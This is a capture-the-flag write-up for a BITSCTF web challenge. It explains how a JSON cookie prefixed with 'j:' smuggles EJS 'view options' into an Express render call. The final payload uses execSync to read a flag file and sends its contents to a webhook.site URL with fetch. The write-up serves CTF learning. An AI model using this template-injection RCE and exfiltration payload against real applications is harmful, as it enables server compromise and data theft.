You have the power to change some things. Now will you be mogambro or someone else?
You might stumble across some red herrings...
We're given an express server that looks like this:
const express = require('express');
const cookieParser = require('cookie-parser');
const path = require('path');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const app = express();
const PORT = 3000;
app.use(cookieParser());
app.use(bodyParser.urlencoded({ extended: true }));
app.set('views', path.join(__dirname, "view"));
app.set('view engine', 'ejs');
const mainToken = "Your_Token";
const mainuser="particular_username";
app.get('/', (req, res) => {
let mainJwt = req.cookies.jwt || {};
try {
let jwtHead = mainJwt.split('.');
let jwtHeader = jwtHead[0];
jwtHeader = Buffer.from(jwtHeader, "base64").toString('utf8');
jwtHeader = JSON.parse(jwtHeader);
jwtHeader = JSON.stringify(jwtHeader, null, 4);
mainJwt = {
header: jwtHeader
}
let jwtBody = jwtHead[1];
jwtBody = Buffer.from(jwtBody, "base64").toString('utf8');
jwtBody = JSON.parse(jwtBody);
jwtBody = JSON.stringify(jwtBody, null, 4);
mainJwt.body = jwtBody;
let jwtSignature = jwtHead[2];
mainJwt.signature = jwtSignature;
} catch(error) {
if (typeof mainJwt === 'object') {
mainJwt.error = error;
} else {
mainJwt = {
error: error
};
}
}
res.render('index', mainJwt);
});
app.post('/updateName', (req, res) => {
try {
const newName = req.body.name;
const token = req.cookies.jwt || "";
const decodedToken = jwt.decode(token);
decodedToken.name = newName;
const newToken = jwt.sign(decodedToken, 'randomSecretKey');
if (newName === mainuser) {
res.cookie('jwt', mainToken);
}else{
res.cookie('jwt', newToken);
}
res.redirect('/');
} catch (error) {
res.redirect('/');
}
});
app.listen(PORT, (err) => {
console.log(`Server is Running on Port ${PORT}`);
});
The server looks for a jwt
cookie on req
, and attempts to parse it as a JWT (by splitting it by .
, then attempting to base 64 decode and JSON parse each component), creating an object that looks like
{
header: '{\n "alg": "HS256",\n "typ": "JWT"\n}',
body: '{\n' +
' "sub": "1234567890",\n' +
' "name": "Mike Oxfat",\n' +
' "iat": 1516239022\n' +
'}',
signature: 'l04Dmbi20P6OxKueB0euZiFFv4NoSpnwIm0HPmAR914'
}
(yes, this is the actual default JWT given in the source input.)
If there's an error at any point, the server populates mainJwt
with a field containing the error object:
{
error: TypeError: mainJwt.split is not a function
at C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\app.js:23:31
at Layer.handle [as handle_request] (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\layer.js:95:5)
at next (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\route.js:137:13)
at Route.dispatch (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\route.js:112:3)
at Layer.handle [as handle_request] (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\layer.js:95:5)
at C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\index.js:281:22
at Function.process_params (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\index.js:341:12)
at next (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\index.js:275:10)
at urlencodedParser (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\body-parser\lib\types\urlencoded.js:91:7)
at Layer.handle [as handle_request] (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\layer.js:95:5)
}
Then, it passes mainJwt
to res.render
.
res.render('index', mainJwt);
The main idea here is that the EJS template render function is vulnerable to RCE template injection. Using a modified version of the linked payload, if we can inject an object like
{"settings":{"view options":{"outputFunctionName":"x\nfetch(`https://webhook.site/adf27505-0324-4112-9471-791221805ccb?flag=${process.mainModule.require('child_process').execSync('cat ../flag.txt').toString()}`)\ns"}}}
into res.render
, we can get RCE and leak the flag.
The second main idea is that the server uses the cookie-parser
middleware to parse request cookies:
app.use(cookieParser());
From the cookie-parser
docs,
In addition, this module supports special “JSON cookies”. These are cookie where the value is prefixed with
j:
. When these values are encountered, the value will be exposed as the result ofJSON.parse
. If parsing fails, the original value will remain.
If we prepend our cookie value with j:
, we can inject an arbitrary JSON payload into req.cookies.jwt
. Then, when .split()
fails, the error handler will simply attach an error
field to the object, leaving our other fields intact.
Then, our final payload (to be injected via cookie) is
j:{"settings":{"view options":{"outputFunctionName":"x\nfetch(`https://webhook.site/adf27505-0324-4112-9471-791221805ccb?flag=${process.mainModule.require('child_process').execSync('cat ../flag.txt').toString()}`)\ns"}}}
Refreshing the page, we get the flag:
BITSCTF{Juggling_With_Tokens:_A_Circus_of_RCE!}